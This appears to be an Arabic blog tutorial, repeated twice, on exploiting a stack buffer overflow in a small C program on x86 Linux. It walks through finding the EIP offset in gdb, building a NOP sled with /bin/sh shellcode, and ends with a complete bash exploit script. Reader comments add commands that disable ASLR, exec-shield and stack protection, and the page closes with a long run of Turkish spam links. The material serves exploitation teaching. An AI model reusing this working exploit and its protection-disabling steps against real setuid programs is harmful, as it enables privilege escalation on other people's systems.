السلام عليكم...
جميعنا تقريبا يعرف ثغرات البافر اوفر فلو, وهناك شروحات كثيره لها على الانترنت, اغلبها مطوله ومعقده.
حبيت بس اني اقوم بشرحها مره اخرى بشكل مبسط وسهل الاستيعاب
بدخل مباشره بوضع كود مصاب والشرح عليه.
واضح ان الكود قام بنسخ المدخل المستخدم
argv[1]
على البافر الي هو محدد في الكود ب 128 بايت
نعمل له كومبايل ونشغله مباشره من الديباقر
gdb
نكتب الامر
run
الخاص بالديباقر حتى نبدا تشغيل البرنامج المضروب ونعطيه مدخل كبير
بأستخدام البيرل او البايثون نستطيع تحديد طول المدخل:
بالبايثون:
بالبيرل:
مثلا هنا اخبرنا البيرل بأن يقوم بطباعة الهيكس لحرف
A
الي هو 41 بمعدل 150 مره
او ممكن انك بكل بساطه تقوله يطبع حرف
A
مائه وخمسين مره بهذا الشكل:
المهم الديباقر طلع لنا ان البرنامج ضرب وعمل
segmentation fault
في العنوان
0x41414141
نكتب امر الديباق
لمشاهدة مسجلات الميموري وقيمها
يمكنك معه استخدام اختصارات الاوامر يعني مثلا بدل كتابتgdb الديباقر
info registers
يمكنك فقط كتابة
i r
لمشاهدة جميع المسجلات اكتب الامر
المهم نرجع لموضوعنا, بنشاهد ان المسجل
قد تمت الكتابه عليه eip
EIP
وهو اختصار ل
"Extended Instruction Pointer"
وظيفته انه يحدد مكان العمليه القادمه التي سوف يتم تشغيلها, يعني العنوان الي يكون فيه بيكون هو العنوان القادم الي بيتم تشغيله.
الحين بنعمل شوية
fuzzing
eip حتى نعرف بالتحديد كم بايت يلزمنا حتى نكتب مانريد على
بننقص عدد المدخلات , يعني بدل 150 نخليها مثلا 145 واخر اربع بايتات نخليها عدد اخر علشان بس نعرف نميز شو الي انكتب على eip
بهذا الشكل:
145 مره A كتبنا حرف
B و 4 مرات حرف
نرجع نكتب الامر
info registers
مازالت eip بنشوف ان قيمة
0x41414141
نقلل المدخلات بنخليها 140 ونجرب مره ثانيه
نكتب امر
info registers
eip مره ثانيه ونشوف قيمة
eip حلووووو مثل ما شيفين قيمة
صارت
0x42424242
BBBB الي هي الهيكس لحرف
eip يعني شغلنا سليم قدرنا ان نكتب اربع قيم بشكل كامل على
الحين تقريبا نقدر نقول خلصنا الجانب الكبير وصار علينا ان بس نعوض الفازي الي كنا نعمله بأشياء حقيقيه.
بنحتاج الى شل كود يعتمد على انته شو ناوي تسوي, مثلا نروح موقع ميلورم او اي مواقع ثاني فيه شل كودز جاهزه ونختار شل كود جيد حيث ان البروسيسر عندي هو انتل x86 للنظام الي انته بتشغل الشل و الثغره عليه, مثلا انا بختار شل كود صغير لنظام لينكس
على السيرفر /bin/sh واريده يعطيني
http://milw0rm.org/shellcode/2793
نأخذ الشل كود ونرتبه, علشان نحقنه مباشره في الميموري:
eip بعد ما دخلنا الشل هذا طوله 22 بايت مثل ماهو واضح, قبل شويه كتبنا على
A 140
و
B 4
يعني بدل بننقص 22 من 140 علشان نعمل مكان للشل.
140 - 22 =118
بتصير الحسبه كالتالي:
هو 118 بدل 140A بيصير عدد
عباره عن قيمه حقيقيه , اذا خليناها البرنامج بيرجع يضرب لانه ما بيحصل اي عنوان اسمهA لكن ال
0x41414141
الي هو الهيكس له 90 nop بنكتب A بدل
مثل ما يعتقدر بعض الشباب null النوب ليس مثل
0x00 قيمتها nullال
وهي مصيبه بالنسبه للشباب الي يكتبون الشل كودز بانفسهم, لانها تقوم بعمل تيرمينيت او الغاء مابعدها وايقاف تشغيل البرنامج.
phpمثل ما ثغرات اللوكل انكلود في ال
0x00 عندما يقوم المخترق باضافة
بعد الانكلود علشان يوقف عمل اي كود اخر في الملف المضروب ويكتفي فقط بالانكلود
../../../../etc/passwd
نفس الشي في ثغرات السكيول انجشكن وغيرها.
المهم نرجع لموضوعنا طلعنا بعيد عنه خخخخخخخخخ.
عباره عن فراغ, انا اشبهها بالهاويه, لان بعد النوب يجي الشل كود مباشره, ونحن بنعطي nopال
nopاي عنوان من عناوين ال eip
هذا مهم جدا:
eip تخيل شو الي بيصير, كتبنا 118 نوب وبعدها شل كود طوله 22 بايت, واخذنا اي عنوان من عناوين ال 118 نوب وكتبناه على
null العنوانين دائما تكون 4 بايت ساعات تكون اقل لكن الفراغات الي فيها تعوض ب 00
eip على nopالمهم ماعلينا, المهم نرجع لتخيلنا, جينا وشغلنا البرنامج وانكتب عنوان ال
بالطبع عنوان النوب يحتوي على فراغ او هاويه والي بعده كذالك والي بعده والي بعده و بيضل يهوي اااااااااالى ان يجد عنوان حقيقي يحتوي على قيمه فعليه, بعد الهاويه الكبيره يجي عندنا مباشره الشل كود, يعني بيشتغل الشل كود مباشره.
eipماله داعي نروح ونقلب الميموري وندور عن عنوان الشل كود, علشان نكتبه على
اي عنوان من عناوين
0x90
بتؤدي الى نفس النتيجه وبشكل افضل
نكمل التطبيق:
nop بنكتب ال118
و يليه الشل كود يليه اربع بايتات الي هي عنوان النوب الي بنجيبه بعد شويه
BBBBحاليا بنخلي قيمته مثل ما هي
الي هي اختصار ل ESPبعدها بنستعرض قيم
"Extended Stack Pointer"
يطلع قيم الاستاك ميموري espال
espحاليا نحن مانعرف عناوين النوب , فبندور عنها يدويا, بستعرض حوالي 200 قيمه من قيم الاستاك ميموري من
ممكن تكتب اي عدد مب لازم 200 , بس انا اخترتها علشتان اشوف الميموري بشكل اكبر واعرف اغلب القيم.
واضحه تماما عناوين ال118 نوب
0x90
BBBBوبعدها نشوف الشل كود و بعده في السطر الاخير قيم
ناخذ اي عنوان من عناوين النوب , مثلا
0xbfffde60
BBBBونكتبها في الاستغلال بدل ال
بنكتبها بطريقه معكوسه بدل
0xbfffde60
بتكون
\x60\xDE\xFF\xBF
"little endian systemsلان بروسيسرات الانتل طريقه تخزين الداتا فيها تكون معكوسه وهي الي تسمى ب"
عكس بروسيسرات
Motorola و IBM PPC و SUN sparc
"big endian systems"الي تكتب الداتا بشكل مباشر وهي الي تسمى ب
المهم نرجع لموضوعنا, الحين خلاص نرجع نكتب النوب والشل كود وعنوان النوب الي اخترناه مره ثانيه ونشوف شو بيحصل:
gdbاشتغل الشل كود وحصلنا على الشل, نطلع من الدي باقر
argv[1] ونجرب نطبق الاستغلال مباشره من
suid نجح الاستغلال وحصلنا على الشل, لو كان الملف المصاب له صلاحيات يوزر اخر وكان يستخدم ايضا
في الصلاحيات بنحصل على صلاحيات اليوزر الاخر.
اترك كتابت الاكسبلويت لكل شخص على حسب اللغه الي يحبها اكثر , الاكسبلويت ممكن تنفيذه بأغلب اللغات
و غيرهم c, perl, python, ruby, java, shellScript, php
هذا استغلال بسيط جدا للثغره كتبته باللينكس شل سكربت
تحياتي...
Dr.Death
جميعنا تقريبا يعرف ثغرات البافر اوفر فلو, وهناك شروحات كثيره لها على الانترنت, اغلبها مطوله ومعقده.
حبيت بس اني اقوم بشرحها مره اخرى بشكل مبسط وسهل الاستيعاب
بدخل مباشره بوضع كود مصاب والشرح عليه.
#include <%stdio.h%>
#include <%string.h%>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
argv[1]
على البافر الي هو محدد في الكود ب 128 بايت
نعمل له كومبايل ونشغله مباشره من الديباقر
gdb
نكتب الامر
run
الخاص بالديباقر حتى نبدا تشغيل البرنامج المضروب ونعطيه مدخل كبير
بأستخدام البيرل او البايثون نستطيع تحديد طول المدخل:
بالبايثون:
بالبيرل:
مثلا هنا اخبرنا البيرل بأن يقوم بطباعة الهيكس لحرف
A
الي هو 41 بمعدل 150 مره
او ممكن انك بكل بساطه تقوله يطبع حرف
A
مائه وخمسين مره بهذا الشكل:
المهم الديباقر طلع لنا ان البرنامج ضرب وعمل
segmentation fault
في العنوان
0x41414141
نكتب امر الديباق
لمشاهدة مسجلات الميموري وقيمها
يمكنك معه استخدام اختصارات الاوامر يعني مثلا بدل كتابتgdb الديباقر
info registers
يمكنك فقط كتابة
i r
لمشاهدة جميع المسجلات اكتب الامر
المهم نرجع لموضوعنا, بنشاهد ان المسجل
قد تمت الكتابه عليه eip
EIP
وهو اختصار ل
"Extended Instruction Pointer"
وظيفته انه يحدد مكان العمليه القادمه التي سوف يتم تشغيلها, يعني العنوان الي يكون فيه بيكون هو العنوان القادم الي بيتم تشغيله.
الحين بنعمل شوية
fuzzing
eip حتى نعرف بالتحديد كم بايت يلزمنا حتى نكتب مانريد على
بننقص عدد المدخلات , يعني بدل 150 نخليها مثلا 145 واخر اربع بايتات نخليها عدد اخر علشان بس نعرف نميز شو الي انكتب على eip
بهذا الشكل:
145 مره A كتبنا حرف
B و 4 مرات حرف
نرجع نكتب الامر
info registers
مازالت eip بنشوف ان قيمة
0x41414141
نقلل المدخلات بنخليها 140 ونجرب مره ثانيه
نكتب امر
info registers
eip مره ثانيه ونشوف قيمة
eip حلووووو مثل ما شيفين قيمة
صارت
0x42424242
BBBB الي هي الهيكس لحرف
eip يعني شغلنا سليم قدرنا ان نكتب اربع قيم بشكل كامل على
الحين تقريبا نقدر نقول خلصنا الجانب الكبير وصار علينا ان بس نعوض الفازي الي كنا نعمله بأشياء حقيقيه.
بنحتاج الى شل كود يعتمد على انته شو ناوي تسوي, مثلا نروح موقع ميلورم او اي مواقع ثاني فيه شل كودز جاهزه ونختار شل كود جيد حيث ان البروسيسر عندي هو انتل x86 للنظام الي انته بتشغل الشل و الثغره عليه, مثلا انا بختار شل كود صغير لنظام لينكس
على السيرفر /bin/sh واريده يعطيني
http://milw0rm.org/shellcode/2793
نأخذ الشل كود ونرتبه, علشان نحقنه مباشره في الميموري:
eip بعد ما دخلنا الشل هذا طوله 22 بايت مثل ماهو واضح, قبل شويه كتبنا على
A 140
و
B 4
يعني بدل بننقص 22 من 140 علشان نعمل مكان للشل.
140 - 22 =118
بتصير الحسبه كالتالي:
هو 118 بدل 140A بيصير عدد
عباره عن قيمه حقيقيه , اذا خليناها البرنامج بيرجع يضرب لانه ما بيحصل اي عنوان اسمهA لكن ال
0x41414141
الي هو الهيكس له 90 nop بنكتب A بدل
مثل ما يعتقدر بعض الشباب null النوب ليس مثل
0x00 قيمتها nullال
وهي مصيبه بالنسبه للشباب الي يكتبون الشل كودز بانفسهم, لانها تقوم بعمل تيرمينيت او الغاء مابعدها وايقاف تشغيل البرنامج.
phpمثل ما ثغرات اللوكل انكلود في ال
0x00 عندما يقوم المخترق باضافة
بعد الانكلود علشان يوقف عمل اي كود اخر في الملف المضروب ويكتفي فقط بالانكلود
../../../../etc/passwd
نفس الشي في ثغرات السكيول انجشكن وغيرها.
المهم نرجع لموضوعنا طلعنا بعيد عنه خخخخخخخخخ.
عباره عن فراغ, انا اشبهها بالهاويه, لان بعد النوب يجي الشل كود مباشره, ونحن بنعطي nopال
nopاي عنوان من عناوين ال eip
هذا مهم جدا:
eip تخيل شو الي بيصير, كتبنا 118 نوب وبعدها شل كود طوله 22 بايت, واخذنا اي عنوان من عناوين ال 118 نوب وكتبناه على
null العنوانين دائما تكون 4 بايت ساعات تكون اقل لكن الفراغات الي فيها تعوض ب 00
eip على nopالمهم ماعلينا, المهم نرجع لتخيلنا, جينا وشغلنا البرنامج وانكتب عنوان ال
بالطبع عنوان النوب يحتوي على فراغ او هاويه والي بعده كذالك والي بعده والي بعده و بيضل يهوي اااااااااالى ان يجد عنوان حقيقي يحتوي على قيمه فعليه, بعد الهاويه الكبيره يجي عندنا مباشره الشل كود, يعني بيشتغل الشل كود مباشره.
eipماله داعي نروح ونقلب الميموري وندور عن عنوان الشل كود, علشان نكتبه على
اي عنوان من عناوين
0x90
بتؤدي الى نفس النتيجه وبشكل افضل
نكمل التطبيق:
nop بنكتب ال118
و يليه الشل كود يليه اربع بايتات الي هي عنوان النوب الي بنجيبه بعد شويه
BBBBحاليا بنخلي قيمته مثل ما هي
الي هي اختصار ل ESPبعدها بنستعرض قيم
"Extended Stack Pointer"
يطلع قيم الاستاك ميموري espال
espحاليا نحن مانعرف عناوين النوب , فبندور عنها يدويا, بستعرض حوالي 200 قيمه من قيم الاستاك ميموري من
ممكن تكتب اي عدد مب لازم 200 , بس انا اخترتها علشتان اشوف الميموري بشكل اكبر واعرف اغلب القيم.
واضحه تماما عناوين ال118 نوب
0x90
BBBBوبعدها نشوف الشل كود و بعده في السطر الاخير قيم
ناخذ اي عنوان من عناوين النوب , مثلا
0xbfffde60
BBBBونكتبها في الاستغلال بدل ال
بنكتبها بطريقه معكوسه بدل
0xbfffde60
بتكون
\x60\xDE\xFF\xBF
"little endian systemsلان بروسيسرات الانتل طريقه تخزين الداتا فيها تكون معكوسه وهي الي تسمى ب"
عكس بروسيسرات
Motorola و IBM PPC و SUN sparc
"big endian systems"الي تكتب الداتا بشكل مباشر وهي الي تسمى ب
المهم نرجع لموضوعنا, الحين خلاص نرجع نكتب النوب والشل كود وعنوان النوب الي اخترناه مره ثانيه ونشوف شو بيحصل:
gdbاشتغل الشل كود وحصلنا على الشل, نطلع من الدي باقر
argv[1] ونجرب نطبق الاستغلال مباشره من
suid نجح الاستغلال وحصلنا على الشل, لو كان الملف المصاب له صلاحيات يوزر اخر وكان يستخدم ايضا
في الصلاحيات بنحصل على صلاحيات اليوزر الاخر.
اترك كتابت الاكسبلويت لكل شخص على حسب اللغه الي يحبها اكثر , الاكسبلويت ممكن تنفيذه بأغلب اللغات
و غيرهم c, perl, python, ruby, java, shellScript, php
هذا استغلال بسيط جدا للثغره كتبته باللينكس شل سكربت
#!/usr/bin/env bash
# Sample Buffer OverFlow Exploit
# Coded By Dr.Death
nop=
nlen=118
for ((i=0; i<$nlen; i++));
do
nop=$nop"\x90"
done
ret="\x40\xDE\xFF\xBF"
shellcode="\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
vulapp='./vul'
expl=$nop$shellcode$ret"\x00"
echo "===========Buffer OverFlow Exploit=========="
echo "===========.::Coded By Dr.Death:.==========="
printf "\n"
$vulapp `printf "$expl"`
تحياتي...
Dr.Death
شرحك أعجبني جداً اخي الحبيب
ReplyDelete#include #include int main(int argc, char **argv) {char buf[128];if(argc < 2) return 1;strcpy(buf, argv[1]);printf("%s\n", buf);return 0;}
ReplyDeleteاحتاج هذا الكود مكتوب بالفيجوال بيسك 6 ان امكن
وشرح جميل اخي واصل تميزك
السلام عليكم
ReplyDeleteوالله ماشاء الله عليك شرحك ممتاز جدا :)
بس عندي سؤال:
العنوان الاول بعد ما تكتب "A"x150
لازم يكون
0x41411414 ولا اي عنوان عادي ؟
وعليكم السلام والرحمه
ReplyDeleteاخوي ال Ax150
معناها ان ندخل معطي قيمة حرف ال A
وعدده 150
اي اكثر من ما البافر للبرنامج يشيله
فبالتالي بيصير كراش للبرنامج وبيقولك ان الكراش صار في اخر عنوان للبافر والي هو بيكون فيه اربع قيم من ال 150 قيمه لحرف ال A
اقرا الموضوع للنهاية وحاول تطبقه على احد انظمة اللينكس الي مافيها حمايه للستاك ميموري , جرب الباك تراك اظني بيضبط عليه , انا عامل الدرس على ديبيان لينكس نسخه خاصه
النسخ الجديده من اللينكس كلها تحتوي على خصائص لحماية الميموري من ثغرات فيض المكدس وغيرها
تحياتي..
Dr.Death
السلام عليكم
ReplyDeleteمشكور يالغلا والله ما قصرت
انا استخدم Fedora 11 بشوف اجرب على BackTrack وارد لك خبر
مشكور مرة ثانية :)
السلام عليكم
ReplyDeleteلقيت الحل:
echo 0 > /proc/sys/kernel/randomize_va_space
gcc buffer.c -o buffer -fno-stack-protector -mpreferred-stack-boundary=2
thx for your time Doc ; )
انته سكرت ال ASLR
ReplyDeleteعلى الفيدورا وله الباك تراك؟
الفيدورا ايي مع اكثر من حمايه للستاك مثل
ASLR, exec-shield, stack-protector...etc
انا بعد من مستخدمي الفيدورا - افضل نظام للمطورين - فأر تجارب الردهات (^_*)
yeah I use Fedora, and I tried these commands under it.
ReplyDeleteI also used this command if it helps:
echo 0 > /proc/sys/kernel/exec-shield
^_^
Hi, sorry for my many questions but I have problem here:
ReplyDeleteafter I ran this line
(gdb) run `perl -e 'print "\x90"x118, "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "B"x4'`
it says program exited normally, ant it has no registers !! how can I solve this ??
THX
it could be some of Fedora stack protection
ReplyDelete"it could be some of Fedora stack protection"
ReplyDelete^^
you don't know how to diable it ?!! I really want to move on in BOF ....
thx again
شو الفرق بين الـremote w local :S ?
ReplyDeleteمدونة قوية
good luck
اخوي Mayar00,
ReplyDeleteالجواب موجود في سؤالك, الريموت ريموت واللوكل لوكل
اذا كانت الثغره في سيرفس لبرنامج يمكن الاتصال به عن بعد صارت الثغره ريموت , واذا كانت الثغره في سيرفس محلي للبرنامج ولا يمكن استغلالها عن بعد صارت لوكل
اهااااا :O
ReplyDeleteطيب مفكر تضع مثال؟؟
اذا مش مفكر عادي مش عايز عزبك :]
حط موضوع بالمدونة عن سيرتك الشخصية والله مهتم اتعرف على شخصيتك :P
شكرا اخوي
طلب صغير واخير
ReplyDeleteممكن اذا عندك كتاب
The Shellcoder's Handbook
؟؟
ايه اخوي الكتاب بجزئيه الاول والثاني موجود في مكتبة الكتب
ReplyDeletehttp://drdeath.myftp.org:881/books/
السيره الذاتيه مالها داعي , ما بتفيد احد بشي
مبدع يا معلم
ReplyDeleteوالله ان شاء الله تكون من اقوى المدونات
mmorpg oyunlar
ReplyDeleteINSTAGRAM TAKİPCİ SATİN AL
Tiktok Jeton Hilesi
Tiktok jeton hilesi
antalya saç ekimi
referans kimliği nedir
instagram takipçi satın al
metin2 pvp serverlar
instagram takipçi satın al
PERDE MODELLERİ
ReplyDeletenumara onay
VODAFONE MOBİL ÖDEME BOZDURMA
Nft Nasıl Alınır
Ankara Evden Eve Nakliyat
Trafik sigortasi
Dedektör
Website.kurma
Aşk Romanları
SMM PANEL
ReplyDeleteSMM PANEL
iş ilanları
İNSTAGRAM TAKİPÇİ SATIN AL
hirdavatciburada.com
Https://www.beyazesyateknikservisi.com.tr
Servis
tiktok jeton hilesi
Good content. You write beautiful things.
ReplyDeletehacklink
mrbahis
taksi
sportsbet
sportsbet
mrbahis
vbet
korsan taksi
vbet
sultangazi
ReplyDeleteordu
mardin
bodrum
sincan
MYXSSK
maraş
ReplyDeletebursa
tokat
uşak
samsun
KEE01
ağrı
ReplyDeletemuş
mersin
afyon
uşak
VURA
salt likit
ReplyDeletesalt likit
dr mood likit
big boss likit
dl likit
dark likit
15HH6
https://saglamproxy.com
ReplyDeletemetin2 proxy
proxy satın al
knight online proxy
mobil proxy satın al
E0EN
tokat
ReplyDeleteankara
trabzon
istanbul
izmir
izmit
kocaeli
KSXUYQ
çeşme transfer
ReplyDeletesoulmate ajans
bor yağı filtre kağıdı
yağ süzme filtre kağıdı
SX4